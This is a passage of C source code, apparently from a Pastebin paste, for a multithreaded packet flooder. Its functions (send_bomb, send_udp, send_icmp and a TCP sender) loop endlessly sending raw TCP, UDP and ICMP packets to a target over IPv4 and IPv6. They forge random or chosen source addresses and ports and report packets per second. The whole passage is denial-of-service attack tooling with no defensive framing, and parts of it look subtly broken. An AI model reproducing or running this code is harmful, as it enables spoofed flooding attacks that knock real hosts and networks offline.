  799.             packet.tcp.th_ack       =   0; 
  800.  
  801.             if  (param2->th_flags == TCP_SYN)
  802.                 packet.tcp.th_ack       =   1;
  803.             else
  804.             packet.tcp.th_ack       =   0;                 
  805.  
  806.            packet.tcp.th_flags      =   param2->th_flags;
  807.             packet.tcp.th_off           =   5;
  808.  
  809.             if  (param2->th_flags == TCP_URG)
  810.                packet.tcp.th_urp        =   1;
  811.             else
  812.                 packet.tcp.th_urp       =   0;
  813.  
  814.            packet.tcp.th_sport      =   thread_data_array[0].s_lport == 0 ?
  815.                                             random () :
  816.                                             htons(thread_data_array[0].s_lport + (random() %
  817.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  818.    
  819.            packet.tcp.th_dport      =   thread_data_array[0].d_lport == 0 ?
  820.                                             random () :
  821.                                          htons(thread_data_array[0].d_lport + (random() %
  822.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  823.    
  824.            checksum.tcp              =  packet.tcp;
  825.            packet.tcp.th_sum        =   in_cksum((void *)&checksum, sizeof(checksum));
  826.             param2->packets++;
  827.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  828.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  829.                          sizeof(thread_data_array[0].destination4)) );
  830.     }
  831.     if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  832.     {
  833.         do     
  834.         {
  835.             /* Filling IP header */
  836.             memset(&packet6, 0, sizeof packet6);
  837.             inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  838.  
  839.             /* Filling cksum pseudo header */
  840.             checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  841.             checksum.pseudo.mbz       =     0;
  842.             checksum.pseudo.ptcl    =   IPPROTO_TCP;
  843.             checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  844.  
  845.             /* Filling TCP header */
  846.             packet6.tcp.th_win          =   htons(65535);
  847.            packet6.tcp.th_seq           =   random();
  848.             //packet6.tcp.th_x2         =   4;
  849.  
  850.             if  (param2->th_flags == TCP_ACK)
  851.                 packet6.tcp.th_ack      =   1;
  852.             else
  853.                 packet6.tcp.th_ack      =   0;     
  854.  
  855.            packet6.tcp.th_flags         =   param2->th_flags;
  856.             packet6.tcp.th_off          =   5;
  857.  
  858.             if  (param2->th_flags == TCP_URG)
  859.                 packet6.tcp.th_urp     =    1;
  860.             else
  861.                 packet6.tcp.th_urp     =    0;
  862.  
  863.            packet6.tcp.th_sport         =   thread_data_array[0].s_lport == 0 ?
  864.                                             random () :
  865.                                             htons(thread_data_array[0].s_lport + (random() %
  866.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  867.    
  868.            packet6.tcp.th_dport         =   thread_data_array[0].d_lport == 0 ?
  869.                                             random () :
  870.                                          htons(thread_data_array[0].d_lport + (random() %
  871.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  872.    
  873.            checksum.tcp              =  packet.tcp;
  874.            packet6.tcp.th_sum           =   in_cksum((void *)&checksum, sizeof(checksum));
  875.  
  876.             param2->packets++;
  877.         } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  878.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  879.                          sizeof(thread_data_array[0].destination6)) );
  880.     }
  881.     return 0;
  882. }
  883. void *send_bomb(void* arg)
  884. {  
  885.     struct thread_data *param2  = arg;
  886.  
  887.    struct checksum checksum;
  888.    struct packet
  889.     {
  890.       struct ip ip;
  891.     struct tcphdr tcp;
  892.       struct udphdr udp;    
  893.     char buf[param2->bombsize];
  894.    } packet;
  895.  
  896.    struct packet6
  897.     {
  898.     struct ip6_hdr ip;
  899.       struct tcphdr tcp;
  900.       struct udphdr udp;      
  901.     char buf[param2->bombsize];      
  902.    } packet6;
  903.  
  904.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  905.     {
  906.         if(param2->a_flags      == TCP_BMB)
  907.             param2->socket = socket(AF_INET, SOCK_RAW,  IPPROTO_TCP);
  908.         else if(param2->a_flags == UDP_BMB)
  909.             param2->socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
  910.         else if(param2->a_flags == RAW_BMB)
  911.             param2->socket = socket(AF_INET, SOCK_RAW,  IPPROTO_RAW);                          
  912.     }
  913.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  914.     {
  915.         if(param2->a_flags      == TCP_BMB)
  916.             param2->socket = socket(AF_INET6, SOCK_RAW,     IPPROTO_TCP);
  917.         else if(param2->a_flags == UDP_BMB)
  918.             param2->socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
  919.         else if(param2->a_flags == RAW_BMB)
  920.             param2->socket = socket(AF_INET6, SOCK_RAW,     IPPROTO_RAW);  
  921.     }
  922.    
  923.     int i;
  924.     for (i = sizeof(packet) + 1; i < (param2->bombsize); i++)
  925.     {
  926.             packet.buf[i] = '\x00';
  927.     }
  928.    
  929.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  930.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  931.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  932.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  933.  
  934.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  935.  
  936.     signal(SIGALRM, handle_exit);  
  937.     alarm(thread_data_array[0].timeout);
  938.     do     
  939.     {
  940.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  941.         {
  942.             if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)   
  943.             {
  944.                 /* Filling IP header */
  945.                 memset(&packet, 0, sizeof packet);
  946.                 inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  947.    
  948.                 packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  949.  
  950.                 /* Filling cksum pseudo header */
  951.                 checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  952.                 checksum.pseudo.mbz         =   0;
  953.  
  954.                 if(param2->a_flags == TCP_BMB)     
  955.                     checksum.pseudo.ptcl    =   IPPROTO_TCP;
  956.                 else if(param2->a_flags == RAW_BMB)
  957.                     checksum.pseudo.ptcl    =   IPPROTO_RAW;
  958.                                    
  959.                 checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  960.                 checksum.pseudo.saddr       =   packet.ip.ip_src.s_addr;
  961.  
  962.                 /* Filling TCP header */
  963.             packet.tcp.th_win           =   htons(65535);
  964.                 packet.tcp.th_seq           =   random();
  965.    
  966.             packet.tcp.th_off           =   5;  
  967.        
  968.                 //thread_data_array[0].destination4.sin_port = htons(113);         
  969.            
  970.                 checksum.tcp              =     packet.tcp;
  971.                 //packet.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  972.             }
  973.             else if(param2->a_flags == UDP_BMB)
  974.             {
  975.             /* Filling IP header */
  976.             memset(&packet, 0, sizeof packet);
  977.             inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  978.    
  979.                 packet.ip.ip_sum            =   in_cksum((void *)&packet.ip, sizeof(packet));
  980.  
  981.             /* Filling UDP header */
  982.            
  983.             packet.udp.uh_ulen          =   htons(sizeof packet.udp);
  984.             packet.udp.uh_sum           =   0;
  985.                 //packet.udp.uh_sum             =   in_cksum((void *)&packet, sizeof(packet)); 
  986.                 packet.udp.uh_sum           =   xchecksum((void *)&packet, sizeof(packet));                                                                
  987.            }           
  988.         }
  989.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  990.         {
  991.             if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)   
  992.             {
  993.                 /* Filling IP header */
  994.                 memset(&packet6, 0, sizeof packet6);
  995.                 inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  996.  
  997.             /* Filling cksum pseudo header */
  998.             checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  999.             checksum.pseudo.mbz         =   0;
  1000.            
  1001.                 if(param2->a_flags == TCP_BMB)     
  1002.                     checksum.pseudo.ptcl    =   IPPROTO_TCP;
  1003.                 else if(param2->a_flags == RAW_BMB)
  1004.                     checksum.pseudo.ptcl    =   IPPROTO_RAW;
  1005.                    
  1006.             checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  1007.  
  1008.             /* Filling TCP header */
  1009.                 packet6.tcp.th_win          =   htons(65535);
  1010.             packet6.tcp.th_seq          =   random();              
  1011.             }  
  1012.             else if(param2->a_flags == UDP_BMB)
  1013.             {
  1014.             /* Filling IP header */
  1015.             memset(&packet6, 0, sizeof packet6);
  1016.             inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  1017.    
  1018.             /* Filling UDP header */
  1019.  
  1020.             packet6.udp.uh_ulen         =   htons(sizeof packet6.udp);
  1021.             packet6.udp.uh_sum          =   0;
  1022.                 //packet6.udp.uh_sum            =   in_cksum((void *)&packet6, sizeof(packet6));
  1023.                 packet6.udp.uh_sum          =   xchecksum((void *)&packet6, sizeof(packet6));                                                                                                  
  1024.             }                  
  1025.         }      
  1026.         param2->packets++;
  1027.     } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  1028.  
  1029.     return 0;
  1030. }
  1031. void *send_udp(void* arg)
  1032. {    
  1033.     struct thread_data *param2  = arg;
  1034.              
  1035.    struct packet
  1036.     {
  1037.         struct ip ip;
  1038.         struct udphdr udp;
  1039.     } packet;
  1040.  
  1041.    struct packet6
  1042.     {
  1043.         struct ip6_hdr ip;
  1044.         struct udphdr udp;
  1045.     } packet6;
  1046.  
  1047.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1048.  
  1049.     signal(SIGALRM, handle_exit);  
  1050.     alarm(thread_data_array[0].timeout);
  1051.  
  1052.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1053.     {
  1054.         do     
  1055.         {
  1056.            /* Filling IP header */
  1057.            memset(&packet, 0, sizeof packet);
  1058.            inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  1059.    
  1060.             packet.ip.ip_sum            =   in_cksum((void *)&packet.ip, sizeof(packet));
  1061.             /* Filling UDP header */
  1062.            packet.udp.uh_sport      =   thread_data_array[0].s_lport == 0 ?
  1063.                                             random () :
  1064.                                          htons(thread_data_array[0].s_lport + (random() %
  1065.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1066.  
  1067.            packet.udp.uh_dport      =   thread_data_array[0].d_lport == 0 ?
  1068.                                             random () :
  1069.                                          htons(thread_data_array[0].d_lport + (random() %
  1070.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1071.  
  1072.            packet.udp.uh_ulen           =   htons(sizeof packet.udp);
  1073.            packet.udp.uh_sum            =   0;
  1074.            //packet.udp.uh_sum          =   in_cksum((void *)&packet, sizeof(packet));
  1075.            packet.udp.uh_sum                =  xchecksum((void *)&packet, sizeof(packet));
  1076.  
  1077.             param2->packets++;
  1078.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  1079.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  1080.                          sizeof(thread_data_array[0].destination4)) );
  1081.     }
  1082.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1083.     {
  1084.         do     
  1085.         {
  1086.            /* Filling IP header */
  1087.            memset(&packet6, 0, sizeof packet6);
  1088.            inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  1089.    
  1090.            /* Filling UDP header */
  1091.            packet6.udp.uh_sport         =   thread_data_array[0].s_lport == 0 ?
  1092.                                             random () :
  1093.                                          htons(thread_data_array[0].s_lport + (random() %
  1094.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1095.  
  1096.            packet6.udp.uh_dport     =   thread_data_array[0].d_lport == 0 ?
  1097.                                             random () :
  1098.                                          htons(thread_data_array[0].d_lport + (random() %
  1099.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1100.  
  1101.            packet6.udp.uh_ulen          =   htons(sizeof packet6.udp);
  1102.            packet6.udp.uh_sum        =  0;
  1103.             //packet6.udp.uh_sum            =   in_cksum((void *)&packet6, sizeof(packet6));
  1104.            packet6.udp.uh_sum               =  xchecksum((void *)&packet6, sizeof(packet6));
  1105.  
  1106.             param2->packets++;
  1107.         } while ( sendto(param2->socket, &packet6, (sizeof packet6),
  1108.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  1109.                          sizeof(thread_data_array[0].destination6)) ); 
  1110.     }
  1111.     return 0;
  1112. }
  1113. void *send_icmp(void* arg)
  1114. {
  1115.  
  1116.     struct thread_data *param2  = arg;
  1117.  
  1118.    struct packet
  1119.     {
  1120.         struct ip ip;
  1121.       struct icmp icmp;
  1122.    } packet;
  1123.  
  1124.     struct packet6
  1125.     {
  1126.         struct ip6_hdr ip;
  1127.         struct icmp6_hdr icmp;
  1128.    } packet6;
  1129.  
  1130.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1131.  
  1132.     signal(SIGALRM, handle_exit);  
  1133.     alarm(thread_data_array[0].timeout);
  1134.  
  1135.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1136.     {
  1137.         do     
  1138.         {
  1139.            /* Filling IP header */
  1140.         memset(&packet, 0, sizeof packet);
  1141.            inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  1142.         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  1143.  
  1144.            /* Filling ICMP header */
  1145.         packet.icmp.icmp_type       = ICMP_ECHO;
  1146.            packet.icmp.icmp_code       = 0;
  1147.            packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  1148.  
  1149.             param2->packets++;
  1150.         } while ( sendto(   param2->socket, &packet, (sizeof packet),
  1151.                             0, (struct sockaddr *)&thread_data_array[0].destination4,
  1152.                         sizeof(thread_data_array[0].destination4)) );
  1153.     }
  1154.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1155.     {
  1156.         do     
  1157.         {
  1158.            /* Filling IP header */
  1159.         memset(&packet6, 0, sizeof packet6);
  1160.  
  1161.            inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  1162.  
  1163.             /* Filling ICMP header */
  1164.         packet6.icmp.icmp6_type         = ICMP6_ECHO_REQUEST;
  1165.            packet6.icmp.icmp6_code          = 0;
  1166.             packet6.icmp.icmp6_id           = random();
  1167.             packet6.icmp.icmp6_seq          = random();
  1168.  
  1169.             packet6.icmp.icmp6_cksum        = 0;
  1170.             //packet6.icmp.icmp6_cksum  = in_cksum((void *)&packet6, sizeof(packet6));
  1171.             packet6.icmp.icmp6_cksum        = xchecksum((void *)&packet6, sizeof(packet6));
  1172.  
  1173.             param2->packets++;
  1174.         } while ( sendto(   param2->socket, &packet6.icmp, (sizeof packet6),
  1175.                             0, (struct sockaddr *)&thread_data_array[0].destination6,
  1176.                         sizeof(thread_data_array[0].destination6)) );  
  1177.     }
  1178.     return 0;
  1179. }
  1180. void
  1181. inject(struct ip *ip, u_char p, u_char len)
  1182. {
  1183.    /* Filling IP header */
  1184.    ip->ip_hl             = 5;
  1185.    ip->ip_v              = 4;
  1186.    ip->ip_p              = p;
  1187.    ip->ip_tos            = 0x08; /* 0x08 */
  1188.    ip->ip_id             = random();
  1189.    ip->ip_len            = len;
  1190.    ip->ip_off            = 0;
  1191.    ip->ip_ttl            = 255;
  1192.  
  1193.    ip->ip_dst.s_addr     = thread_data_array[0].dst_class != NULL ?
  1194.                             inet_addr(class2ip(thread_data_array[0].dst_class)) :
  1195.                             thread_data_array[0].dstaddr;
  1196.  
  1197.    ip->ip_src.s_addr     = thread_data_array[0].src_class != NULL ?
  1198.                             inet_addr(class2ip(thread_data_array[0].src_class)) :
  1199.                             random();
  1200.  
  1201.    thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  1202. }
  1203.  
  1204. void
  1205. inject6(struct ip6_hdr *ip, u_char p, u_char len)
  1206. {
  1207.     ip->ip6_ctlun.ip6_un1.ip6_un1_flow  = htonl ((6 << 28) | (0 << 20) | 0);
  1208.  
  1209.     ip->ip6_ctlun.ip6_un1.ip6_un1_plen  = htons( 8 + len );
  1210.  
  1211.     ip->ip6_ctlun.ip6_un1.ip6_un1_nxt   = p;
  1212.     ip->ip6_ctlun.ip6_un1.ip6_un1_hlim  = 255;
  1213.  
  1214.     inet_pton (AF_INET6, thread_data_array[0].DestIP6,   &ip->ip6_dst);
  1215.     inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  1216.  
  1217.     thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  1218.  
  1219. }
  1220. char *src_class, *dst_class = NULL;
  1221. char *class2ip(const char *class)
  1222. {
  1223.     static char ip[INET_ADDR];
  1224.     int i, j;
  1225.  
  1226.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  1227.         if (class[i] == '.')
  1228.             ++j;
  1229.  
  1230.     switch (j)
  1231.     {
  1232.         case 0:
  1233.             sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  1234.             break;
  1235.         case 1:
  1236.             sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  1237.             break;
  1238.         case 2:
  1239.             sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  1240.             break;
  1241.  
  1242.         /* Spoofing single host */
  1243.         default: strncpy(ip, class, INET_ADDR);
  1244.                  break;
  1245.     }
  1246.     return ip;
  1247. }
  1248.  
  1249. char *class2ip6(const char *class)
  1250. {
  1251.     static char ip[INET6_ADDR];  
  1252.     uint16_t n;
  1253.  
  1254.     int x, y;
  1255.     for (x = 0, y = 0; class[x] != '\0'; ++x)
  1256.         if (class[x] == ':')
  1257.             ++y;
  1258.  
  1259.     int i;
  1260.     for (i = 0; i < 7; i++)
  1261.     {
  1262.         char hex[3][i];
  1263.         n = mrand48();                      // #1
  1264.         n = rand();                         // #2
  1265.         FILE * f = fopen("/dev/urandom", "rb");
  1266.         fread(&n, sizeof(uint16_t), 1, f);  // #3
  1267.         sprintf(hex[i], "%04X", n);
  1268.  
  1269.         if(i==0)
  1270.             strcpy(ip, class);
  1271.         strcat(ip, hex[i]);
  1272.         if(i<6)
  1273.             strcat(ip, ":");
  1274.     }
  1275.     return ip;
  1276.  
  1277. }
  1278. unsigned short
  1279. in_cksum(unsigned short *addr, int len)
  1280. {
  1281.     int nleft = len;
  1282.     int sum = 0;
  1283.     unsigned short *w = addr;
  1284.     unsigned short answer = 0;
  1285.  
  1286.     while (nleft > 1)
  1287.     {
  1288.         sum += *w++;
  1289.         nleft -= 2;
  1290.     }
  1291.  
  1292.     if (nleft == 1)
  1293.     {
  1294.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  1295.         sum += answer;
  1296.     }
  1297.  
  1298.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  1299.     sum   += (sum >> 16);                   /* add carry           */
  1300.     answer = ~sum;                          /* truncate to 16 bits */
  1301.  
  1302.     return answer;
  1303. }
  1304.  
  1305. unsigned short
  1306. xchecksum(unsigned short *buffer, int size) {
  1307.     unsigned int sum = 0;
  1308.     __asm__ __volatile__(
  1309.         "movl   (%1),   %0\n"
  1310.         "subl   $4,         %2\n"
  1311.         "jbe        2f\n"
  1312.         "addl   4(%1),  %0\n"
  1313.         "adcl   8(%1),  %0\n"
  1314.         "adcl   12(%1),     %0\n"
  1315.         "1:\n"
  1316.         "adcl   16(%1),     %0\n"
  1317.         "lea        4(%1),  %1\n"
  1318.         "decl   %2\n"
  1319.         "jne        1b\n"
  1320.         "adcl   $0,         %0\n"
  1321.         "movl   %0,         %2\n"
  1322.         "shrl   $16,        %0\n"
  1323.         "addw   %w2,        %w0\n"
  1324.         "adcl   $0,         %0\n"
  1325.         "notl   %0\n"
  1326.         "2:\n"
  1327.         : "=r" (sum),       "=r" (buffer),  "=r" (size)
  1328.         : "1"  (buffer),    "2"  (size)
  1329.     );
  1330.         return(sum);
  1331. }
  1332. void  handle_exit ()
  1333. {
  1334.     int packets;
  1335.  
  1336.     packets  = thread_data_array[1].packets
  1337.                 + thread_data_array[2].packets
  1338.                 + thread_data_array[4].packets
  1339.                 + thread_data_array[8].packets
  1340.                 + thread_data_array[16].packets
  1341.               + thread_data_array[32].packets
  1342.                 + thread_data_array[64].packets
  1343.                 + thread_data_array[128].packets
  1344.                 + thread_data_array[256].packets
  1345.                 + thread_data_array[512].packets   
  1346.                 + thread_data_array[1024].packets
  1347.                 + thread_data_array[2048].packets
  1348.                 + thread_data_array[4096].packets
  1349.                 + thread_data_array[8192].packets
  1350.                 + thread_data_array[16384].packets;
  1351.  
  1352.     printf ("Packeting completed, %d total, %d seconds, %d pps\n",  packets,
  1353.                                                                                             (int) time (NULL) - thread_data_array[0].start,
  1354.                                                                                             packets / ((int) time (NULL) - thread_data_array[0].start));
  1355.     exit (0);
  1356. }
  1357.  
  1358.  
  1359. u_long lookup(const char *host)
  1360. {
  1361.     struct hostent *hp;
  1362.  
  1363.     if ( (hp = gethostbyname(host)) == NULL)
  1364.     {
  1365.         perror("gethostbyname");
  1366.         exit(-1);
  1367.     }
  1368.  
  1369.     return *(u_long *)hp->h_addr;
  1370. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!